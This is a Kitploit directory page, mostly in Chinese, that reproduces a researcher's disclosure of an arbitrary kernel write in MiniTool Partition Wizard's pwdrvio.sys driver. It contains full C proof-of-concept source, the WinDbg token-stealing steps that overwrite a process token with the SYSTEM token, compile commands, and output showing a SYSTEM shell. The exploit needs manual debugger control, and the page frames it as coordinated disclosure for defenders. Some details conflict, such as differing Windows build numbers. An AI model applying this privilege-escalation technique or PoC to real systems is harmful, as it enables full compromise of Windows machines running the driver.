Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-36981-Kernel-EoP-PoC — 项目日期:2026年2月 / MiniTool 内核驱动程序中的内存损坏漏洞。演示了一种借助调试器实现的任意内核写入原语,可用于权限提升。 | Kitploit
工具/GitHubGitHub/canomer/cve-2026-36981-kernel-eop-poc
权限提升漏洞分析漏洞利用调试器模糊测试恶意软件分析二进制利用
GitHubcanomer/cve-2026-36981-kernel-eop-poc

CVE-2026-36981-Kernel-EoP-PoC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

项目日期:2026年2月 / MiniTool 内核驱动程序中的内存损坏漏洞。演示了一种借助调试器实现的任意内核写入原语,可用于权限提升。

查看仓库
2114个月前尚未审核

CVE-2026-36981-Kernel-EoP-PoC

MiniTool 的 pwdrvio.sys 内核驱动中存在内核写-写-何处(write-what-where)条件。演示了一种借助调试器实现的任意内核写入原语,可用于权限提升。

  • 2026-02-09 已通知厂商
  • 2026-03-05 厂商已确认
  • 2026-03-05 已向 MITRE 申请 CVE
  • 2026-05-10 在 90 天协调披露期后公开披露

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

任意内核写入 → 本地权限提升(LPE) 严重性: 高
CVSS 3.1 评分: 7.8(LPE) CVSS 向量字符串:

  • LPE:CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    • 借助调试器实现的任意内核写入原语,可用于权限提升。
    • 可通过驱动偏移量 0x1641 处的写-写-何处(write-what-where)原语进行利用
    • 需要内核调试工具才能可靠利用
    • 已在 Windows 10 Build 19045.6466 上确认

攻击前提条件:

  • 对目标系统的本地访问权限
  • 标准用户账户(非管理员)
  • 已安装或已卸载 MiniTool(已加载 pwdrvio.sys 驱动)

利用结果: LPE - 已演示借助调试器实现的权限提升(NT AUTHORITY / SYSTEM),实现完全系统入侵

漏洞发现时间线

初始模糊测试与 BSOD 发现

日期: 2026 年 2 月 5 日
活动: 使用自定义 Python 模糊测试器对内核驱动进行系统性模糊测试

发现过程:

  1. 目标选择:

    • 枚举 Windows 10 虚拟机中已安装的内核驱动
    • 将 pwdrvio.sys 识别为最旧的驱动(时间戳:2009 年 6 月 16 日)
    • 驱动文件:C:\Windows\System32\drivers\pwdrvio.sys
    • 设备对象:\\.\PartitionWizardDiskAccesser\0
  2. 初始模糊测试:

    • 使用 ctypes 开发 Python 模糊测试器以与驱动交互
    • 通过 WriteFile/DeviceIoControl 向驱动设备发送随机数据
    • 结果: 多次蓝屏死机(BSOD)
  3. 验证程序激活:

    • 启用驱动程序验证程序(Driver Verifier)以增强崩溃检测 ```cmd verifier /standard /driver pwdrvio.sys
    root@kitploit:~

验证器配置: ``` Verifier Flags: 0x001209bb Standard Flags Enabled: [X] Special pool [X] Force IRQL checking
[X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking

root@kitploit:~
### WinDbg 内核调试设置
**日期:** 2026年2月5日至6日  
**活动:** 建立内核调试环境以进行根本原因分析

**设置步骤:**

1. **VMware 串行端口配置:**   ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
  1. 客户机操作系统配置: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0

    root@kitploit:~
  2. 主机 WinDbg 连接: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓

    Result: "Kernel Debugger connection established."

    root@kitploit:~

根本原因分析 - 任意写入漏洞发现

日期: 2026年2月6日
活动: 识别出任意内核写入原语

分析步骤:

  1. 模块分析: ``` 1: kd> lm m pwdrvio start end module name fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)

    1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio

    DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060

    Dispatch Routines: [00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8 [03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404

    root@kitploit:~
  2. 易受攻击指令发现:

    在写入处理器上设置断点: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g

    Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax

    root@kitploit:~

关键发现: 已识别出任意写入原语!

  • 指令将内核指针(RAX)写入地址 [R11-0x10]
  • R11 从栈帧加载:mov r11, qword ptr [rbp+0xB8h]
  • 未对目标地址执行任何验证
  1. 寄存器状态分析: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame

    0: kd> dq @rbp+0xB8 L1 ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here

    root@kitploit:~

UAF 到任意写入分析

日期: 2026年2月6-7日
活动: 从释放后使用追踪漏洞到写-写-何处条件

内存破坏链:

  1. IRP 分配: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets

    root@kitploit:~
  2. 缓冲区关系: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location

    0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!

    root@kitploit:~

分析: 用户缓冲区无法直接从 RBP 帧访问

  • RBP 指向内核池中的 IRP 结构
  • 用户缓冲区位于不同的内存区域
  • RBP+0xB8 偏移量不指向用户可控缓冲区
  1. 释放后使用(Use-After-Free)条件:

    驱动程序在 IRP 结构中维护悬空指针: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP

    // No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);

    // Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!

    root@kitploit:~

本地权限提升开发

日期: 2026年2月7日至8日
活动: 开发令牌窃取技术

利用策略:

目标: 用SYSTEM令牌覆盖当前进程令牌

Windows EPROCESS结构:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location

root@kitploit:~
**令牌窃取流程:**

1. **定位 SYSTEM 进程:**   ```
   0: kd> !process 4 0
   PROCESS ffffe7875ac86200
       SessionId: none  Cid: 0004    Peb: 00000000
       Image: System
   
   0: kd> dq ffffe7875ac86200+4b8 L1
   ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value
  1. 定位攻击者进程: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe

    0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Standard user token

    root@kitploit:~
  2. 计算目标地址: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548

    Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target

    root@kitploit:~
  3. 执行令牌覆盖: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax

    0: kd> dq ffffe78760150538 L1 ; Verify ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!

    root@kitploit:~
  4. 恢复执行: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution

    root@kitploit:~

结果: 进程现在拥有 SYSTEM 权限!

漏洞 #1:任意内核写入导致 LPE

CWE 分类

  • CWE-787: 越界写入
  • CWE-123: 写-什么-哪里条件
  • CWE-782: 暴露的 IOCTL 且访问控制不足

漏洞详情

位置: pwdrvio.sys 偏移量 0x1641
汇编代码:```assembly pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!

root@kitploit:~
**触发机制:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
                            GENERIC_READ | GENERIC_WRITE,
                            0, NULL, OPEN_EXISTING, 0, NULL);

char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

利用限制:

该漏洞需要内核调试工具才能可靠利用,原因如下:

  1. 寄存器控制挑战:

    • 目标寄存器 R11 从 [RBP+0xB8] 加载
    • RBP 指向内核池中的 IRP 栈帧
    • 用户缓冲区位于不同的内存区域(偏移量 35MB+)
    • 无法直接从用户缓冲区控制 [RBP+0xB8]
  2. 池内存布局: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)

    root@kitploit:~
  3. 需要手动干预:

    • 通过调试器将 R11 寄存器设置为目标地址
    • 将 RAX 寄存器设置为 SYSTEM 令牌值
    • 执行指令
    • 恢复执行流程

CVSS 3.1 评分:7.8(高危)

指标:

  • 攻击向量(AV): 本地 - 需要本地系统访问权限
  • 攻击复杂度(AC): 低 - 无需特殊条件
  • 所需权限(PR): 低 - 标准用户即可
  • 用户交互(UI): 无 - 无需用户交互
  • 影响范围(S): 不变 - 相同的安全权限
  • 机密性(C): 高 - 完全的文件系统访问权限
  • 完整性(I): 高 - 可完全修改系统
  • 可用性(A): 高 - 可导致系统崩溃或禁用

完整代码与利用

代码:``` C #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");

// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
    return 1;
}

printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");

getchar(); // Breakpoint of WinDbg

// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Completed. SYSTEM Shell Opening...\n");

// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");

return 0;

}

root@kitploit:~
**如何编译:**
* 在 Linux 上使用 MinGW```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static

WinDbg 进程:

  • 当我们的断点触发时``` 1: kd> bp pwdrvio+0x1641 1: kd> g Breakpoint 0 hit Unable to load image pwdrvio.sys, Win32 error 0n2 pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax 1: kd> !process 0 0 poc1.exe PROCESS ffff9d8f6401f080 SessionId: 1 Cid: 1948 Peb: 27a2a7000 ParentCid: 16ac DirBase: 1b2528000 ObjectTable: ffffc2093fb93140 HandleCount: 58. Image: poc1.exe

1: kd> dq ffff9d8f6401f080+4b8 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> !process 4 0 Searching for Process with Cid == 4 PROCESS ffff9d8f5f069040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517. Image: System

1: kd> dq ffff9d8f5f069040+4b8 L1 ffff9d8f5f0694f8 ffffc2093441d8df 1: kd> r rax = ffffc2093441d8df 1: kd> r r11 = ffff9d8f6401f538 + 10 1: kd> p pwdrvio+0x1645: fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df 1: kd> r rip = pwdrvio + 0x165f 1: kd> r eax = 0 1: kd> bc * 1: kd> g

root@kitploit:~
**终端输出:**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State
============================= ================================== ========
SeShutdownPrivilege           Sistemi kapat                      Disabled
SeChangeNotifyPrivilege       Çapraz geçiş denetimini atla       Enabled
SeUndockPrivilege             Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır       Disabled
SeTimeZonePrivilege           Saat dilimini değiştir             Disabled

PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups

GROUP INFORMATION
-----------------

Group Name                                                Type             SID          Attributes                      
========================================================= ================ ============ ==================================================
Everyone                                                  Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114    Group used for deny only        
BUILTIN\Administrators                                    Alias            S-1-5-32-544 Group used for deny only        
BUILTIN\Users                                             Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                  Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA                                       Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                          Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                            Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap                                  Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                     Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                          Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey                         Label            S-1-16-8192                                  
PS C:\Users\standarduser\directory>

PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.

[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.

C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system

C:\Users\standarduser\directory>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                                     State
========================================= =============================================================================== ========
SeCreateTokenPrivilege                    Belirteç nesnesi oluştur                                                        Disabled
SeAssignPrimaryTokenPrivilege             İşlem düzeyi belirtecini değiştir                                               Disabled
SeLockMemoryPrivilege                     Sayfaları bellekte kilitle                                                      Enabled
SeIncreaseQuotaPrivilege                  İşlem için bellek kotaları ayarla                                               Disabled
SeTcbPrivilege                            İşletim sisteminin parçası gibi davran                                          Enabled
SeSecurityPrivilege                       Denetimi ve güvenlik günlüğünü yönet                                            Disabled
SeTakeOwnershipPrivilege                  Dosyaların veya diğer nesnelerin sahipliğini al                                 Disabled
SeLoadDriverPrivilege                     Aygıt sürücüleri yükle ve kaldır                                                Disabled
SeSystemProfilePrivilege                  Sistem performansı profili oluştur                                              Enabled
SeSystemtimePrivilege                     Sistem saatini değiştir                                                         Disabled
SeProfileSingleProcessPrivilege           Tek işlem profili oluştur                                                       Enabled
SeIncreaseBasePriorityPrivilege           Zamanlama önceliğini artır                                                      Enabled
SeCreatePagefilePrivilege                 Disk belleği dosyası oluştur                                                    Enabled
SeCreatePermanentPrivilege                Kalıcı paylaşılan nesneler oluştur                                              Enabled
SeBackupPrivilege                         Dosya ve dizinleri yedekle                                                      Disabled
SeRestorePrivilege                        Dosya ve dizinleri geri yükle                                                   Disabled
SeShutdownPrivilege                       Sistemi kapat                                                                   Disabled
SeDebugPrivilege                          Programların hatalarını ayıkla                                                  Enabled
SeAuditPrivilege                          Güvenlik denetimleri oluştur                                                    Enabled
SeSystemEnvironmentPrivilege              Üretici yazılımı ortam değerlerini değiştir                                     Disabled
SeChangeNotifyPrivilege                   Çapraz geçiş denetimini atla                                                    Enabled
SeUndockPrivilege                         Bilgisayarı takma biriminden çıkar                                              Disabled
SeManageVolumePrivilege                   Birim bakım görevleri gerçekleştir                                              Disabled
SeImpersonatePrivilege                    Kimlik doğrulamasından sonra istemcinin özelliklerini al                        Enabled
SeCreateGlobalPrivilege                   Genel nesneler oluştur                                                          Enabled
SeTrustedCredManAccessPrivilege           Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş                     Disabled
SeRelabelPrivilege                        Nesne etiketini değiştir                                                        Disabled
SeIncreaseWorkingSetPrivilege             İşlem çalışma kümesini artır                                                    Enabled
SeTimeZonePrivilege                       Saat dilimini değiştir                                                          Enabled
SeCreateSymbolicLinkPrivilege             Simgesel bağlantılar oluştur                                                    Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled

C:\Users\standarduser\directory>whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label            S-1-16-16384

概念验证与复现步骤

前置条件

测试环境:

  • 操作系统: Windows 10 家庭版 Build 19045.6466
  • 架构: x64
  • MiniTool 版本: Partition Wizard 13.5
  • 驱动程序: pwdrvio.sys(日期为 2009 年 6 月 16 日)
  • 用户账户: 标准用户(非管理员)

所需工具:

  • 用于 LPE: WinDbg(Windows 调试器)、VMware Workstation

复现 #2:本地权限提升(借助 WinDbg)

步骤 1:搭建内核调试环境

A. VMware 配置

  1. 在 VMware Workstation Pro 中打开虚拟机设置
  2. 添加硬件 → 串行端口
  3. 配置:
    • 连接: “使用命名管道”
    • 命名管道: \\.\pipe\com_1
    • 端点: “这是服务器”
    • 另一端: “应用程序”
    • I/O 模式: ✓ 轮询时让出 CPU
  4. 保存并启动虚拟机

B. 客户机操作系统配置```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.

C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.

C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200

C:> shutdown /r /t 0

root@kitploit:~
**C. 主机 WinDbg 设置**

1. 打开 WinDbg(x64)
2. 文件 → 内核调试(Ctrl+K)
3. 配置:
   - 选项卡:COM
   - 端口:`\\.\pipe\com_1`
   - 波特率:115200
   - ✓ 管道
   - ✓ 重新连接
4. 单击“确定”

等待连接消息:```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.

1: kd>

步骤 2:编译概念验证

保存为 lpe_poc.c:```c #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");

// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
    return 1;
}

printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");

getchar();  // Wait for WinDbg setup

// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");

// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");

CloseHandle(hDevice);
return 0;

}

root@kitploit:~
**在 Linux/WSL 上编译:**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static

步骤 3:执行漏洞利用

A. 在虚拟机中启动 PoC(标准用户)```cmd C:> whoami desktop-lfkkhu2\standard_user

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

[Limited privileges - no SeDebugPrivilege]

C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...

[WAIT - Do not press ENTER yet]

root@kitploit:~
**B. WinDbg 设置与操作**```
1: kd> bp pwdrvio+0x1641
1: kd> g

现在在 PoC 中按 ENTER 键。WinDbg 将中断:``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax

0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20

root@kitploit:~
**C. 定位 SYSTEM 进程和令牌**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffffc08e66444c80  HandleCount: 2471
    Image: System

0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value

D. 定位攻击者进程``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe

0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)

root@kitploit:~
**E. 执行令牌覆盖**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10

0: kd> r r11
r11=ffffe78760150548

0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440      lea rax,[rsp+40h]

0: kd> dq ffffe78760150538 L1
ffffe787`60150538  ffffc08e`6642f04f  ← Token successfully changed!

F. 恢复执行``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g

root@kitploit:~
**C. 验证虚拟机中的权限提升**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system

Microsoft Windows [Version 10.0.19045.6466]

C:\> whoami
nt authority\system

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                          State
========================================= ==================================== ========
SeCreateTokenPrivilege                    Create a token object                Disabled
SeAssignPrimaryTokenPrivilege             Replace a process level token        Disabled
SeLockMemoryPrivilege                     Lock pages in memory                 Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process   Disabled
SeTcbPrivilege                            Act as part of the operating system  Enabled
SeSecurityPrivilege                       Manage auditing and security log     Disabled
SeTakeOwnershipPrivilege                  Take ownership of files/objects      Disabled
SeLoadDriverPrivilege                     Load and unload device drivers       Disabled
SeSystemProfilePrivilege                  Profile system performance           Enabled
SeSystemtimePrivilege                     Change the system time               Disabled
SeProfileSingleProcessPrivilege           Profile single process               Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority         Enabled
SeCreatePagefilePrivilege                 Create a pagefile                    Enabled
SeCreatePermanentPrivilege                Create permanent shared objects      Enabled
SeBackupPrivilege                         Back up files and directories        Disabled
SeRestorePrivilege                        Restore files and directories        Disabled
SeShutdownPrivilege                       Shut down the system                 Disabled
SeDebugPrivilege                          Debug programs                       Enabled  ← SYSTEM!
SeAuditPrivilege                          Generate security audits             Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values   Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking             Enabled
SeUndockPrivilege                         Remove computer from docking         Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks     Disabled
SeImpersonatePrivilege                    Impersonate a client after auth      Enabled
SeCreateGlobalPrivilege                   Create global objects                Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as trusted Disabled
SeRelabelPrivilege                        Modify an object label               Disabled
SeIncreaseWorkingSetPrivilege             Increase a process working set       Enabled
SeTimeZonePrivilege                       Change the time zone                 Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users      Enabled

C:\> whoami /groups

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone                             Well-known group S-1-1-0      Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label          S-1-16-16384 ← SYSTEM integrity!

MiniTool 软件:``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes

root@kitploit:~
**测试工具:**```
WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

受影响版本

已确认存在漏洞

主要产品:

  • MiniTool Partition Wizard 13.5
  • 所有使用 pwdrvio.sys 的先前版本

驱动程序详情:``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)

root@kitploit:~
### 可能受影响的产品

其他可能使用相同驱动程序的 MiniTool 产品:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard 可启动版
- MiniTool ShadowMaker

**注意:** 每个产品应单独测试以确认是否受影响。

### 操作系统兼容性

**已测试并确认存在漏洞:**
- Windows 10 家庭版 Build 19045.6466 (x64)

**原因:** 该驱动程序兼容所有现代 Windows 版本,且不包含任何版本特定的检查。

## 法律免责声明
本仓库仅用于教育、防御性安全研究以及在受控实验室环境中复现漏洞之目的。
所提供的信息和概念验证代码旨在帮助防御者、研究人员和供应商理解并修复所报告的漏洞。
未经明确许可,针对系统使用本代码进行未经授权或恶意操作可能违反适用的法律法规。
作者不鼓励或纵容任何非法活动,且不对因使用本材料造成的滥用或损害承担任何责任。

本漏洞披露报告提供的目的如下:
1. 安全研究与教育
2. 供应商通知与补丁开发
3. 保护最终用户
4. 学术与防御性安全用途

**禁止用途:**
- 未经授权访问计算机系统
- 恶意利用
- 任何非法活动

研究人员仅在受控环境中对个人拥有的系统进行了所有测试。未对第三方系统执行任何未经授权的访问。

**报告版本:** 1.0  
**最后更新:** 2026年2月9日
下载工具